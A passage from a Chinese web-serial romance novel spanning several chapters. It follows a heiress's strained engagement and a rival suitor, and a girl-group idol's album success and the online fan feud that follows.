“我只是想知道她是否安全。”良久后,傅京礼垂眸,声音平淡看似毫无波澜,却能让人感受到其中压抑的痛苦。 沈略站在人群中,看着此刻站在对立面的傅京礼和容浔,内心涌起一股难以言喻的沧桑感。 本来不该这样的。 最初,他们关系才是最好的,许愿更是傅京礼的妻子,可到底还是都变了。 就连他都转换了阵营。 可再如何变化,也抹不去他曾经是傅氏铁三角的事实。 看到昔日自己最尊崇的人被如此奚落嘲讽,他还是会难过。 “许总很安全,傅总不必多虑。” 终于沈略还是在这一片诡异的寂静中开口打破了沉默。 他开口,没有人阻拦,因为没有人能抹去他们曾经的情分,且只是这样一句话,不算越界。 傅京礼看向他,顿了片刻才终于开口:“好,我知道了。” 他们现在的关系的确古怪,经历过沈略被傅氏诬陷的事情后,其实往日的情分已经不算多少了。他能在这种时候站出来开口,已经算他足够有良心。 盛景炎也只是淡淡的扫了沈略一眼,并未阻止。 现场气氛古怪,倏地倏地传来一道女声轻笑。 她轻飘飘的拍了拍手掌:“真不愧是许愿,让所有人都对她神魂颠倒小心翼翼,不论是前夫还是同事,亦或者是我的未婚夫,全都这么在意她。” “瞧瞧啊,一个许愿不在,有多少人担心呢,邢队护着她,国安部的上将都因为她来到现场谁见了不夸她许愿一句能耐?” 开口的是姜明珠,从始至终她的目光都一直落在陆斯年身上没有移开,但旁人说的话她也全都听到了,甚至是觉得可笑的地步。 陆斯年脸色微变,走到她面前低声道:“不要在这种时候说这些,有什么事我们私下聊。” 姜明珠面色仍然很冷,但还是抬眸盯了他许久,半晌才嗤笑一声,不过还算是给陆斯年面子,没再说更多。 第556章 比起我,你或许更适合 直到唐文晞和盛景炎离开后,姜明珠和陆斯年约在附近的酒店包厢,姜明珠一向都是我行我素任性惯了,点了自己要吃的菜便将菜单丢到陆斯年面前。 “喜欢吃什么自己点。” 陆斯年垂眸只点了杯清茶,姜明珠眼底的冷意都要渗出来,她盯着陆斯年,声音中都染带了几分恨意。 “陆斯年,你什么意思?” “连陪我吃顿饭的时间都没有是吗?是不屑还是不愿?你说!” “还是因为许愿你没有胃口!” “为什么你们所有人看到许愿后都会发疯,许愿就这么重要吗?他们疯就算了,他们起码单身,可你算什么!你是不是忘了你还有我这个未婚妻了?” “你整日追着许愿跑,有没有想过我的感受?那些知道你是我未婚夫的人有多少在背地里嘲讽我不如许愿!” 姜明珠是真的恨的。 她不是恨许愿优秀漂亮,她当然清楚这不是她的错,她优秀漂亮这是她的优势。 她就算凭借着这些有点吸引了全天下的男人她姜明珠都是不会在意的,可偏偏许愿现在吸引的是她的未婚夫! B市距离A市算远吗?根本不远。 盛华是如何帮助盛世的,陆斯年又是多次力挺盛世。 陆斯年跟盛景炎有什么关系吗?这两个人对多是国外念书的时候见过一面,更多的关系根本就没有,陆斯年根本不可能为了见过几面的“陌生人”去做这些。 更何况盛华是什么时候开始帮盛世的?是许愿跟盛景炎有了关系后,是许愿进入盛世后! 陆斯年是为谁?答案只能是许愿。 多少人在她耳边念着陆斯年变心了看上了许愿,她如何能不恨如何能不恼? 这次知道许愿可能出事她其实也是有些担心的,担心的同时还记得自己跟许愿有个一月为期限的约定。她也不希望许愿出事自己胜之不武。 知道傅京礼要去盛世她也选择跟来。 可万万没想到会在这里见到陆斯年,多好笑,多嘲讽? 她堂堂姜家小姐,多少人捧着她宠着她,凭什么要在这里因为陆斯年而被人奚落嘲讽?她当然有她的自尊。 “我要你记清楚,我才是你的未婚妻,难道你也想做个人渣吗!” 姜明珠咄咄逼人。 陆斯年像是叹了口气,有些无奈。 “姜明珠,我和许愿之间不是你想的那样,我只把她看作是妹妹。” “她只是我幼年时期看着长大的妹妹,我和她之间是挚友是兄妹,绝对不会存在越界的感情。” “你真的以为我会蠢到相信这种话吗?如果许愿是个普通女人我或许会相信,但许愿的优秀是我能够承认的,没有几个男人能扛得住她的魅力,更何况男女之间根本不会有所谓的纯友谊。” 姜明珠完全不信陆斯年的解释,陆斯年沉默片刻。 “阿愿再优秀我跟她也不会在一起,这一点你可以放心,我对她没有其他感情。” 姜明珠只是嗤笑。 “我希望你不要继续针对阿愿,阿愿不一定能在一个月内赶回A市,你们之间的约定……”话还没有说完,姜明珠就已经将茶杯狠狠砸到桌面上。 “陆斯年,你闭嘴!” “这是我和许愿之间的事,你们男人少掺和,更何况盛景炎作为许愿的未婚夫都没有主动开口说这些,你凭什么?” “凭你所谓的兄妹感情吗?她亲弟弟苏逸都还没开口呢!你还没有这个资格替许愿说这些!” 陆斯年真的是开口就会到她的炸点上。 姜明珠现在脑袋都是嗡嗡的。 她本来做实验就烦,许愿那串数据代码很难算,这几天才算出一点数据,现在又听到陆斯年要代表许愿说这些更恼了。 “希望你也有些边界感,如果许愿知道你提到这些她也不会开心。” 姜明珠说话从来都是如此,任何人的面子都不给。 “这么久了,你还是这个脾气。” 陆斯年忍不住叹了口气。 他和姜明珠之间的婚约是父亲定下的,那时还算年纪尚幼,而他对感情一向都是理智的,没想过未来会跟谁结婚,对爱没什么准确的定义,所以没有反对。 可现在看来,他和姜明珠其实可能并不合适。 姜明珠漂亮优秀,却太过强势。 “我这个脾气怎么了,没有人能欺负到我。”姜明珠对此完全不觉得有错。 姜明珠看着面前的男人,片刻后开口:“陆斯年,记清楚你的身份,你是我看上的男人,是我的未婚夫,任何人想要跟我抢你也要看看姜家同不同意。” 陆斯年听到这话脸色微微一变,目光落在她脸上,本来还带着的温润笑意也消失不见。 “姜明珠,你真的认为我们合适吗。” “我想比起我,你或许更适合。” 话没有说完,姜明珠已经打断他的话。 “适合什么。”她眼神冰冷:“我看上的是你,不是别的什么人,也不是什么人都配跟我在一起。” 陆斯年看着她像是没有兴趣再跟她沟通,饭菜上桌也只喝了几口清茶。 姜明珠内心的火气再度涌上来,当初许宁给了她那么多照片,全都是许愿和陆斯年两人一起时的照片,当时的陆斯年一直是温柔的脸上的笑容完全没有消失。 纵然他不爱许愿却也纵容许愿疼爱许愿。 可她才是他的未婚妻不是吗?许愿甚至跟他没有血缘关系! 就算她知道许宁不是好东西是故意想激怒她,纵然她看不上许宁却还是被激怒了。 “不想吃就走,不必在我这里冷着一张脸。” 陆斯年深深的看她一眼,却真的没有多留。 姜明珠哪里还有继续吃饭用餐的兴趣,一桌好菜竟是没有动几口。 她面色平静的看着桌面上的饭菜,还冒着热气,才上来没多久。 她突然笑了。 她是姜家千金,学不来那伏低做小的姿态,也绝对不会为此低头。 她不觉得错的是自己,是陆斯年没有掌握好分寸。 姜明珠站起身整理好自己的衣服离开。 转身时眸光里的冷意都没有敛去半分。 第557章 少在这里恶心我 “姜小姐。” 姜明珠前脚踏出包厢,才走到大厅就看到倚靠在沙发上颇带着几分懒散之意的男人,不,美人。 是薛酒。 姜明珠当然见过薛酒,可纵使再次见到他还是会被他精致的五官所折服。 不过染上了一头银发,显得他整个人多了几分清冷感,那股子勾引人的劲儿像是收了点,但因为那种清冷感却又好像更吸引人。 “你怎么也在这里?” 姜明珠看着他似是有几分不解。 “陆哥来这里我当然也跟过来,不过不好打搅你们二人世界。” “但是看样子陆哥好像惹你生气了?” 薛酒笑问着。 姜明珠似是有点看不得他嬉皮笑脸的模样,只轻微皱眉:“我和他之间的事情似乎与你无关。” “不要火气这么大嘛。”薛酒仍然带着笑。 “我只是想问一问,姜小姐真的只认准陆哥了吗?”薛酒指了指自己:“我是觉得我虽然不是大家族出身,但现在应该混的也不差。” 气质是不差。 作为盛华的副总裁,谁能说薛酒混得差?就是姜家听到盛华的高层也要谨慎。 “长相吧,我自认还没有几个男人能有我漂亮的。” 薛酒对自己的长相极为自信。 “所以呢,你优秀漂亮跟我有关系?” 姜明珠显然不想理他,薛酒却笑着开口:“是跟你没关系,是我贪心的想跟你有关系。” 姜明珠脚步一顿,她转身看向他:“我是陆斯年的未婚妻。” “那请问,可以不是吗。” 姜明珠垂眸看着他:“我看你和陆斯年都是疯子,这件事你跟他提过没有,等他什么时候揍了你再来我这里发疯。” 薛酒像是叹了口气。 “就是考虑到陆哥,所以才来试探姜小姐,姜小姐有没有可能跟他解除婚约。” 薛酒还真敢说。 他是知道陆斯年对姜明珠没有任何感情的, 其实说是未婚夫妻跟陌生人几乎没什么两样。 他与其说是喜欢姜明珠,倒不如说是对她欣赏。 他看自己其实看的还是挺准的,一旦开始欣赏谁,那就很有可能会动心,虽然姜明珠的身份实在是不应该……啧,没办法,控制不住想试试看,果然被拒绝了。 意料之中的事。 “青天白日的做什么梦呢。”这就是拒绝。 薛酒叹了口气:“好吧,那姜小姐有没有兴趣跟我一起看一场电影?最近据说有一部喜剧电影评分挺高的。” 姜明珠嗯了一声:“你是不是想替许愿来耽误我的时间好让我算不出数据代码。” 薛酒怔了下,实在没忍住像是有点被气笑似的。 “姜小姐你真是难得一见的大直女啊。” 姜明珠觉得这话没办法反驳。 她翻弄着手机给陆斯年发了条信息。 【姜明珠】:薛酒要请我看电影,你觉得我该不该去。 她其实像是故意发了这条信息想看一看陆斯年的反应。 片刻后陆斯年回了一句,你开心就好。 呵。 她在意陆斯年的感受,陆斯年什么时候在乎过她的感受? 他的兄弟邀请他的未婚妻看电影他就是这态度。 好啊,那就看啊,有什么大不了的。 “薛酒,走,你陪我去看电影。”薛酒怔了一瞬,像是觉得自己听错了,缓了片刻才笑吟吟的站起身。 他站起来后,姜明珠才开始观察他,发现薛酒长得漂亮个子也很高。 长得漂亮就算了,还肩宽窄腰的,天生的衣服架子。 “你这人,适合去娱乐圈。”姜明珠锐评。 “娱乐圈啊,没有资本没有背景,我这种相貌的人如果当初真的一意孤行进了娱乐圈,怕是被人吃的骨头都不剩了。”薛酒对自己的容貌有很清楚的认知,不过说到这里像是挑了下眉:“不过如果那个时候姜小姐愿意做我的靠山倒是也不错,但是姜小姐应该不喜欢菟丝花一样的漂亮美人。” 姜明珠默然。 好像确实是这样。 娱乐圈有时候是很乱的,薛酒这样的容貌如果当初没遇到许愿和陆斯年恐怕真的会被人设计,顶级的美貌没有匹配顶级的家室身份那就是惨剧。 而且,如果薛酒真的只是个娱乐圈的男明星,她可能确实不会多看一眼。 “不是说看电影吗,走吧。” 薛酒还是在笑,只是这次眉眼弯弯的,那张脸却更漂亮了。 出了酒店,姜明珠还没上车就看到不远处停了一辆熟悉的车子。 不等她反应过来,车窗已经摇下来了。 果然是她大哥姜明钰。 “你先在这里等一等。” 说完姜明珠走过去,打开车门,就听见姜明钰轻飘飘问道:“打算换人了?” “也是,陆斯年这人太淡,倒不如这狐狸勾人。” 被锐评成狐狸的薛酒此刻倚靠在车边,目光却一直在看这边,姜明钰对上他的眼神笑意都是很轻的。 “哥你胡说什么,我未婚夫是陆斯年!” 姜明珠有些生气。 “你跟他定婚约的时候才多大,你对他应该也没有多少喜欢,只是不甘心罢了。” “实在不行就换人,姜家从来不怕事。” 姜明珠都觉得离谱,怎么这些人都觉得自己跟陆斯年成不了。 “哥你到底有没有正事,没事我走了。” 姜明珠都不想理他。 姜明钰见此才终于忍不住开口。 “我这两天在S省,刚赶回来,听说你跟傅京礼一起去了盛世,有没有许愿的消息。” 姜明珠都要被气笑了。 “哥,我才是你妹妹,你见到我不问我好不好第一时间就问许愿的消息?” “我不是问了?让你不行就换个男人?” 你这是问好吗!这分明诚心来气她的! 姜明珠气到头疼。 “许愿是魅魔吗你们都爱她?” 其他人就算了,怎么她大哥也爱!明明想收购盛世旗下的公司结果因为许愿才收购失败的,结果她哥还是这副模样,她是真的要看不下去了。 姜明钰淡淡的嗯了一声:“那不然呢?我继续去爱冯菀菀?” 听到姜明钰提起冯菀菀,姜明珠第一时间变脸。 “姜明钰你少在这里恶心我!” 第558章 绝对不同意许愿当嫂子 选冯菀菀那还不如选许愿呢。 她哥是知道用什么来恶心人的,反正现在姜明珠就被恶心的有点想吐了。 此刻姜明珠的表情就跟吃了苍蝇一样难看。 姜明钰摆了摆手:“你看,你又不许我继续跟冯菀菀纠缠,那我果然还是要继续追求许愿,看在你哥我的份儿上,这次比赛的事情就算了,她应该是被什么事耽搁了。” “你做梦,我是一定要跟许愿比个高下的!” “还有,我绝对不同意许愿当我嫂子!” 姜明珠说起这话时是真的很气愤。 姜明钰啧了一声:“你就觉得许愿能看上我?” 这话是真的,就算姜明珠想为姜明钰说句公道话都说不了。 许愿确实是谁也看不上,一颗心都拴在盛景炎身上了。 兄妹两人意见不一,最终倒是不欢而散了。 …… 由温栩栩友情救场客串的电影《黑暗侵袭》票房已经破了二十亿且还在不停往上涨,已经超过了最开始预测的票房纪录,当天由张雨萌父亲投资的电影已经没了排片,票房才仅有九千万,一半的投资都没能收回来。 与此同时张氏集团宣告破产,张家彻底没落,张家给张雨萌投资的戏也不得不撤回一半资金。 张父管不了她,哥哥张雨泽也为了自己的未来不得罪傅家和黎氏跟张雨萌断绝了关系。 现在张雨萌没了后台导演就开始大刀阔斧改剧本给女二号女三号加戏,剧组到处都是瞧不上她的工作人员,人人都能给她使绊子欺负她,早先被她耍弄的女二号现在故意NG加戏甩她耳光她也不敢吱声,拍完这场戏张雨萌回到酒店望着镜子里自己那张红肿的脸却觉得十分陌生。 她曾经那么光鲜亮丽,谁看了她不会上来巴结讨好呢? 可她怎么就活成这样了? 是温栩栩吧,是她不肯放过我吗? 为什么都已经这么久了她还是不肯放过我?她是要我死吗! 张雨萌眼底盛满阴暗的戾气,她取出手机拨了温栩栩的号码,对面却是“对方已关机”,显然她被温栩栩拉进黑名单了。 张雨萌红着眼眶借来助理的手机拨了号码,终于拨通了温栩栩的手机。 她声音又沙又哑藏着怒和怨,“是不是你在害我,温栩栩为什么你不肯放过我!为什么你还是不肯放过我!” 对面默了片刻,“你……不好意思,你是哪位?” 张雨萌一口气郁结在胸腔,突然涌上一股浓浓的无力感,好像她在温栩栩面前从来都是这样抬不起头。 “我是张雨萌。”她咬着牙一个字一个字的往外蹦,“当初你说过只要你在圈子里就会竭尽所能不让我好过,我现在变成这样难道不是你害得吗!” 温栩栩迟疑了片刻,“我最近这么忙哪挪得出时间对付你,如果你不说我都要忘了这回事了,是你自己做太多恶遭反噬了吧。” 温栩栩突然有些恶意的笑了,“我猜你现在一定很不好受,不过没关系如果你知道我现在在什么地方你会更不好受。” “今天是江恒举办演唱会的日子,这场演唱会几个视频APP都会直播,你可以打开直播软件,马上就能看到我。” 温栩栩又笑,“在你跌入谷底时我已经到了你这辈子都不可能再爬到的高度,记得你曾经对我说过的那些话吗?现在我也要对你说,活成这样你才是那团烂泥,这才是属于你的卑贱人生,你这种人也只配在泥潭挣扎一辈子爬不出来抬不起头。” “果然是你干的吧!如果不是你干的你为什么要说这些!”张雨萌控制不住发泄一样的怒吼。 温栩栩“哈”了一声,“落井下石,幸灾乐祸,打击报复,怎么,你还满意吗?” “种什么因得什么果,你们作恶一旦出事就会墙倒众人推,这是你们应得的,你们活该。” 温栩栩戴着蓝牙耳机在后台舒活了下筋骨,她低头看了下时间,“还有几分钟我就会出现在江恒的演唱会上助唱,想看看现在你我之间的差距吗。”她又是恶意的冷笑一声,随后挂断电话。 助理缩在一旁没敢出声,生怕这会儿惹恼了张雨萌再被她折腾。 张雨萌怒吼:“开电视!我要看江恒的演唱会直播!” 线上演唱会直播是付费直播,她此刻魔怔了直接付钱,电视屏幕中果然出现了江恒的身影。 他站在台上,这首歌已经唱到结尾。 台下的粉丝欢呼着大喊着江恒的名字为他应援,江恒食指放在唇边,粉丝们乖巧的很,眼含星星的望着台上的俊美到雌雄莫辨的少年。 江恒笑道:“今天我邀请了一位跟我关系非常非常非常好的朋友,她最近才爆红但在我心里是个全能天才,虽然以爱豆的身份出道却也是个非常厉害的演员,非常荣幸能邀请到她来参加我的演唱会为我助唱,下面欢迎温栩栩!” 台下粉丝还傻乎乎的,显然不知道有这么一出。 江恒的唯粉啊啊大喊江恒胡闹,里面有些是两人CP粉兴奋坏了在一群唯粉里夹缝生存喊着两个人的名字。 台上逐渐暗下来,一束柔光打在台上,升降台缓缓升起,只见升降台上缓缓走下的一名令人看的晃了眼的美人。 她黑发如瀑,肤白如雪,唇红似火,一双桃花眼自带潋滟风情,眼尾却微微上挑,看向台下时总像是让人有种被情人注视的错觉,一个眼神都像是带着小勾子看的人心底发麻。 她穿着一条极贴身的白色修身款针织礼裙,样式保守却偏偏被她穿出了魅惑感。 她身材自是极好的,所以才能勾勒出完美的S线条,这裙子穿在身上更显得整个人像是天使与爱欲之神的结合体,诱惑又高贵,优雅又精致。 台下欢呼雀跃的声音静下来似乎都看她看的失了神。 随着音乐声响起,她再次成为舞台上的那个王者,没有人会不爱舞台上的温栩栩,他们都会为之疯狂。 张雨萌在屏幕之外,她跟温栩栩已经彻彻底底处于两个世界了。 张氏一夕之间破灭,张雨萌终于体会到那痛心切骨之感。 第559章 专辑 曾经被自己踩在脚下的视作蝼蚁的人早已重获新生飞往前沿,她却一直倒退还可笑的把对方当做自己的对手。 什么对手?她哪里配现在的温栩栩多看一眼? 以后的温栩栩会站在最棒的舞台有无数追捧她的歌迷粉丝,她会登上大荧幕或许还获得所有女演员都想得到的殊荣,她能做任何她想都不敢想的事。 或许从选秀综艺那档节目开始她们之间就已经有了无法逾越的鸿沟,她那时早已没有办法追赶温栩栩了。 她们之间像是逆转了人生,就如温栩栩说的,她已经一脚踏入泥潭未来一片黑暗,可这一切又怪谁呢? 张雨萌终于窝在角落抱头痛哭。 江恒的演唱会举办的非常成功,温栩栩在江恒演唱会上独唱一首歌也跟江恒合唱了一首他的新单曲,江恒此次演唱会直播观看人数也刷新纪录。 两人频频登上热搜,无数粉丝为两人狂热呐喊。黎氏娱乐隔天中午十二点开始上线售卖女团的数字专辑《曙光》,第一张数字专辑以《曙光》的命名,既是代表团队的新生也代表了队员们首次的磨合涅槃而来,她们必将是国内最火的女团。 数字专辑中一共收录十首歌曲,其中队内成员每人一首单曲,其他四首是团队曲目,售卖总价为二十五元,同时也可以购买单首曲目,分开售卖曲目每一首售价均为三元。 团队粉丝固然很多,但几人的粉丝相差数额太大,有些只粉其中一人并不想购买其他人的专辑,于是售卖出去的数字专辑张数就能证明每个人真正的热度。 仅三十分钟温栩栩的数字专辑售卖一千万张,虽然比不过江恒的数据,但她是今年才出道几个月的新人又是女爱豆,第一首单曲的售卖金额达到这个数目已经算是破了女爱豆专辑售卖记录,且不提现在才过了三十分钟。 如果专辑上线一天后又会是什么光景?能卖出多少? 对比温栩栩这首单曲的售卖张数其他队员的单曲售卖张数与之形成对比,其中对比最为鲜明的就是张雯悦。 温栩栩半小时内卖出一千万张单曲数字专辑,张雯悦半小时内只卖出三十万张数字专辑,杜佳安在队内因真性情小火一把卖出的专辑张数两百万张,不能跟温栩栩比但对于刚出道的女爱豆来说已经很能打了,以后还是很有前途的,其他几位队员每人多多少少都卖出六七十万张数字专辑,绝对在及格线,作为新人女爱豆这个成绩算是很不错了。 温栩栩的专辑能卖这么多全因她粉丝基数大,且《黑暗侵袭》在热播,打着《黑暗侵袭》旗号可以推广一波。 她作为时下很火的流量,说她是当红小花绝对不为过,所以能取得这个成绩很正常。 团队整体专辑卖出五百万张,稍微动动脑子就知道这里面估计很大一部分都是温栩栩的粉丝购买的。 此次女团推出的新专辑《曙光》半小时内温栩栩的单曲是卖出最多的,其次则是其他四首团队歌曲,排在末尾的是张雯悦的单曲。 温栩栩有些粉丝还是挺郁闷的,因为从一开始跟黎氏签署合约时她们就知道团队活动赚取的金额都是几人平分的,所以温栩栩太吃亏了,而张雯悦却占了大便宜。 明明是粉丝最少最没热度的却因为队长是温栩栩能白得这么多好处,她们能开心才有鬼。 其实让温栩栩粉丝真正厌恶张雯悦的原因是在镜头下张雯悦对温栩栩的那种不屑的态度。 她明明只是《曙光》的队员,需要根据队长的安排做事,但她从来不听劝还几次跟温栩栩起争执,温栩栩都是一笑而过张雯悦却上纲上线骂温栩栩虚伪。 被爆出来的视频和照片太多了,以至于温栩栩粉丝对张雯悦打从心眼里就厌恶,再加之张雯悦从H国出道归国,还曾跟张雨萌是一个队的队员,因此看她更是带了有色眼镜认为她不是什么好人。 张雯悦明明粉丝最少偏偏她的粉丝还觉得自家正主非常优秀。 秀到她们认为C位出道的该是张雯悦,还说什么黎氏娱乐打压其他人只为捧温栩栩,还提温栩栩这次新专辑能卖出这么多张都是黎氏娱乐出力刷出来的成绩,这话把大众都逗笑了。 专辑不能打就是不能打搞什么阴谋论呢? 去看看张雯悦粉丝有多少再去看看温栩栩有多少粉丝就该知道温栩栩怎么卖出那么多张专辑的! 出道三个月微博粉丝数快破两千万的还能有谁? 张雯悦粉丝可不管这些,她们不依不饶对阵黎氏娱乐辱骂黎氏娱乐把资源都给了温栩栩,对其他女队员不公平。 张雯悦粉丝甚至将这些言论刷上了热搜,且提出了自己内心对资源分配不均表达出的疑惑和不甘。 她们从温栩栩参演《黑暗侵袭》江恒演唱会乃至许多综艺节目为例,全都列举进来,并且提到了高奢杂志只有温栩栩多了个青衣造型以及温栩栩参演其它爆剧女三号的拍摄,以此哭诉黎氏娱乐的不公平对待辱骂黎氏娱乐不该只捧温栩栩一个人转去踩其他队员。 张雯悦的这位叫“小猪宝贝”的大粉何其聪明,说这种话也是在煽动杜佳安秦萌萌她们几人的粉丝去斗温栩栩的粉丝乃至一起团结斗黎氏娱乐。 还真有粉丝上当了也开始跟着说黎氏娱乐不公平。 杜佳安这个暴脾气也不管有什么后果直接登录微博账号就开麦。 杜佳安:那位叫小猪宝贝的大粉别想拿我的粉丝当枪使,资源分配的公不公平我们自己不清楚用你来说?@小猪宝贝 【杜佳安】:我们是从《未来女团》出道,但只是一年限定女团同时有一个团队经纪人,除此之外还有属于自己的经纪人,且我们女团的团队合约签在黎氏娱乐,并不是所有人的个人经纪约都签在黎氏娱乐!也就是说黎氏娱乐给我们的资源只会是团队资源,至于单人资源只能由我们自己或者单人经纪人去争取,黎氏没有义务管这些,明白吗! 【杜佳安】:没有跟黎氏私下签署个人经纪约且把合约签在别家公司的黎氏凭什么把单人资源往她身上推!花大把资金给别家公司捧出来个金娃娃?是黎氏脑子有问题吗?你是黎氏娱乐这事儿你干吗! 第560章 站出来为她发声 【杜佳安】也别说黎氏娱乐团队资源分配不均,自己去对比其他女团出道还有哪家能在一个月内推出团队专辑并给四大杂志封面的!黎氏娱乐给我们的已经是新人团队最顶级的资源了,骂黎氏娱乐前先问问自己你懂娱乐圈吗?懂什么是好资源吗?懂什么是经纪合约吗?懂什么是团队资源和单人资源吗!不懂就别开麦!@小猪宝贝 秦萌萌也登陆微博表示黎氏娱乐没有资源分配不均一说并非常感谢黎氏娱乐的栽培,并列举了出道以来黎氏娱乐给她们的资源,那好资源的确令人咂舌。 林海一个没看住团队这就开始内斗了,张雯悦在队内人缘太差,没人会为她说话,这次又是张雯悦的粉丝冒出头来使坏心眼利用她们粉丝对付温栩栩果然犯了众怒了。 林海连连叹气找到几人:“杜佳安,你现在发这些做什么?这不是把这件事情闹得更大了?” 杜佳安内心极度反感的开口:“我发这些有问题吗?张雯悦的粉丝要利用我们的粉丝攻击队长,难道我不出声就眼睁睁看着把我的粉丝被利用然后我的粉丝和队长的粉丝成敌人是吗?” “可你这样做会让你们几人的粉丝都去针对张雯悦的粉丝。”林海规劝了一句。 杜佳安发飙了:“难道不是张雯悦的粉丝先针对我们几人的粉丝吗!如果她的粉丝不针对我们的粉丝我们的粉丝也不会去针对她的!我对张雯悦没有以德报怨这一说!她只会蹬鼻子上脸!” 这话倒也没说错,林海没话说却是发愁。 张雯悦被这争吵声扰到从二楼下来,听明白原委后点开热搜看到这事情走向瞬间暴怒想对杜佳安动手。 “你为什么要发那些!”张雯悦气的浑身发抖。 杜佳安恼道:“你又为什么纵容你的粉丝利用我们的粉丝去污蔑温栩栩!你的粉丝真的跟你一样又毒又坏!你嫉恨温栩栩的那些资源你的粉丝也随你一起嫉妒!队长跟你说过多少次资源分配问题你心里难道不清楚吗!” “我哪会知道她发了这些!她说的这些跟我有什么关系!你知不知道你发的微博对我会造成什么影响!”张雯悦抓挠着头发暴怒。 温栩栩倏地笑起来,只是笑意十分冷。 “你哪会知道她发了这些?” 温栩栩抬眸语气冰冷,“新专辑发表售卖前公司让我们每个人都开了一场直播,你在直播的时候都说了什么你还记得吗。” 张雯悦脸色发白。 温栩栩逼近她,“这件事的起因就是你在直播过程中不停暗示你的粉丝队内资源分配不均。” “你不停的在向粉丝吐槽我们对你冷暴力跟你关系不和睦,数次提到我的资源有多好你有多羡慕我多希望能跟我一样,还说如果你也是队长是不是就能跟我一样拿到这些资源,我有说错吗?” 张雯悦嘴唇翕动面色惨白却还在挣扎不肯低头,温栩栩语气愈发冷了:“你就是故意的,你希望你的粉丝能听出你的暗示然后来针对我。” “你成功了,你的大粉‘小猪宝贝’果然把你说的那些总结出来为此针对我。你的粉丝不愧是你的粉丝,不仅让你的粉丝来骂我还想召集其他人的粉丝一起来骂我来反黎氏娱乐,但做这件事前就该想到有这后果,我们没有义务去让着你。” “我实在不明白你有什么可不甘的,我们签署的合约只要是属于团队资源的团队拿到的那部分钱都需要六人平分,我们几个人拿到的通告费都比你多挣得也比你多,但还要跟你拿同样多的钱,要心有不甘也该是我们怎么都轮不到你。” 温栩栩不屑道:“如果我是你就不会继续拖累队员而是努力吸粉好让自己赶上大部队而不是整日怨天尤人拖团队后腿。” 温栩栩的话可真是半点不留情,张雯悦面目狰狞还想挣扎。 洋却惊喊了一声,“温栩栩,江恒老师和夜阑影帝都在为你发声了!” 张雯悦心里又是咯噔一声,只觉自己要完了。 跟温栩栩有过合作的也就是那位张雯悦大粉“小猪宝贝”例举出来的关于温栩栩资源问题的都为她发言。 【夜阑】:《黑暗侵袭》能在今年正式上映最该感谢的是温栩栩,《黑暗侵袭》早已经过了广电审核即将上映,因某位女演员被爆出吸食违禁品被抓我们剪掉其镜头,为追求电影完整度让电影更加完美我找到了温栩栩并邀请温栩栩拍摄镜头,这份资源是经过我的请求温栩栩才接下,与黎氏娱乐无关。后续一些综艺节目也是为了宣传《黑暗侵袭》@小猪宝贝 【《黑暗侵袭》赵导】:我的电影不是谁都能塞人进来的!如果温栩栩长得不够漂亮没有那演技我不会让她参演!看过这部电影的人也该知道我为什么用温栩栩!我感谢夜阑找到温栩栩救场,我还希望以后跟温栩栩继续合作,有些人适可而止! 【江恒】:简直可笑,我会随随便便因为谁的一句话给谁资源?都这么长时间了还有人不知道我跟温栩栩关系好?我欣赏她的唱跳所以亲自邀请她来做我演唱会的助唱嘉宾,还有问题吗?是不是还要问哪天邀请的?就我俩传绯闻那天晚上!(鄙视鄙视)@小猪宝贝 【《蓝羽杂志》】:因某种原因不得不弃用原定造型改用青衣造型,杂志内部多方商议最终确定邀请温栩栩拍摄内封图,我司邀请温栩栩拍摄内江一事并未经由黎氏娱乐进行交涉。@小猪宝贝 小猪宝贝是张雯悦的一个大粉,家底算殷实但绝不是什么大富大贵人家,因为这事儿被各个大人物@就开始心惊胆战整个人恍恍惚惚被吓傻了。 张雯悦的粉丝为此厌恶她纷纷认为是她给张雯悦招黑先一步发博表示“小猪宝贝”已经不再是张雯悦的粉丝,女团其他几家唯粉纷纷唯独小猪宝贝找她讨说法,江恒夜阑等人的粉丝也时不时嘲讽几句,讽张雯悦这种糊咖也就只配这种大粉。 林海看温栩栩的眼神更奇怪了。 他知道温栩栩跟圈内人关系不错,但没想到这种时候这些人都能第一时间站出来为她发声,要知道娱乐圈的一些人都是利己主义者,有几个能为朋友两肋插刀的? 第561章 站出来回应 温栩栩的口碑有逆转了,张雯悦的路人缘却反之更差,林海急忙喊道:“张雯悦你现在就登陆微博发布一条道歉声明替你那个大粉向所有人道歉。” 张雯悦手砸到墙面上,因为太过用力手背爆出一条条青筋,她不甘:“这件事根本不是我惹出来的为什么要我为粉丝的行为买单帮她道歉!她做错事那是她的事!如果不是她我怎么会被这么多人推到风口浪尖让人看笑话!她把我害得这么惨我为什么还要替她道歉!我没有这样的粉丝!” 就是这样的,这件事是我让她做的吗?是她自己犯蠢是她自己太坏才发了那长微博,她活该被人针对被全网人肉,我不骂她就是好的为什么还要替她道歉?这样的粉丝不配粉我! 林海满脸难以置信,“你在说什么,你是依靠粉丝才能有今天,你们是一荣俱荣一损俱损的合作关系,你们该是同伴该是朋友,哪怕她们做错了事只要你给予好的引导就能让她们改正。” “这个‘小猪宝贝’是你出道来最大的死忠粉,她虽然做事偏激但也是处处为了你,如果这次你把她推出去让她给你背锅你的粉丝不会寒心吗!她们嘴上说已经开除小猪宝贝的粉籍,小猪宝贝不配当你的粉丝,她们这么做都是为了你考虑,但她们都在等你站出来回一句话,起码让她们知道你是清白的你是坦荡的!” 张雯悦哆嗦着唇瓣不肯退步,温栩栩顺手煮几份意面,取了西红柿开始洗菜切菜,问了句,“中午吃西红柿花蛤意面怎么样?简单吃点?”问的是队内其他人。 杜佳安在一旁打下手几人都纷纷应下。 温栩栩切着西红柿不忘抬头瞥张雯悦一眼。 她脸已经涨红了,还因林海那段话苦恼不知该如何做,温栩栩在锅内倒了些橄榄油这才放了西红柿入锅,西红柿入锅接触热好的橄榄油发出“呲啦”的的声响,酸甜的治水在锅内咕嘟咕嘟冒着泡,这样烟火气的一幕应和的她的声音都温柔了几分少了些冷意。 “我不是说过了?这件事的起因在于你向粉丝抱怨资源问题,‘小猪宝贝’是你的大粉自然向着你认为你遭受到了不公平待遇所以才有了后面发生的事。” “如果你没有在直播的时候透露这些也就不会出现今天这种状况。你没有给你的粉丝做正面引导却拿她们当枪使,所以才导致你的大粉有样学样想拿杜佳安她们的粉丝当枪使来集中火力对付我。” “你说错的是粉丝,可归根结底根源还是在你身上,所以让你替这位粉丝的言行向诸位老师道歉向公司道歉向其他粉丝团体道歉有什么问题?你自己惹出来的烂摊子你自己不收拾要等着谁来给你收拾。” 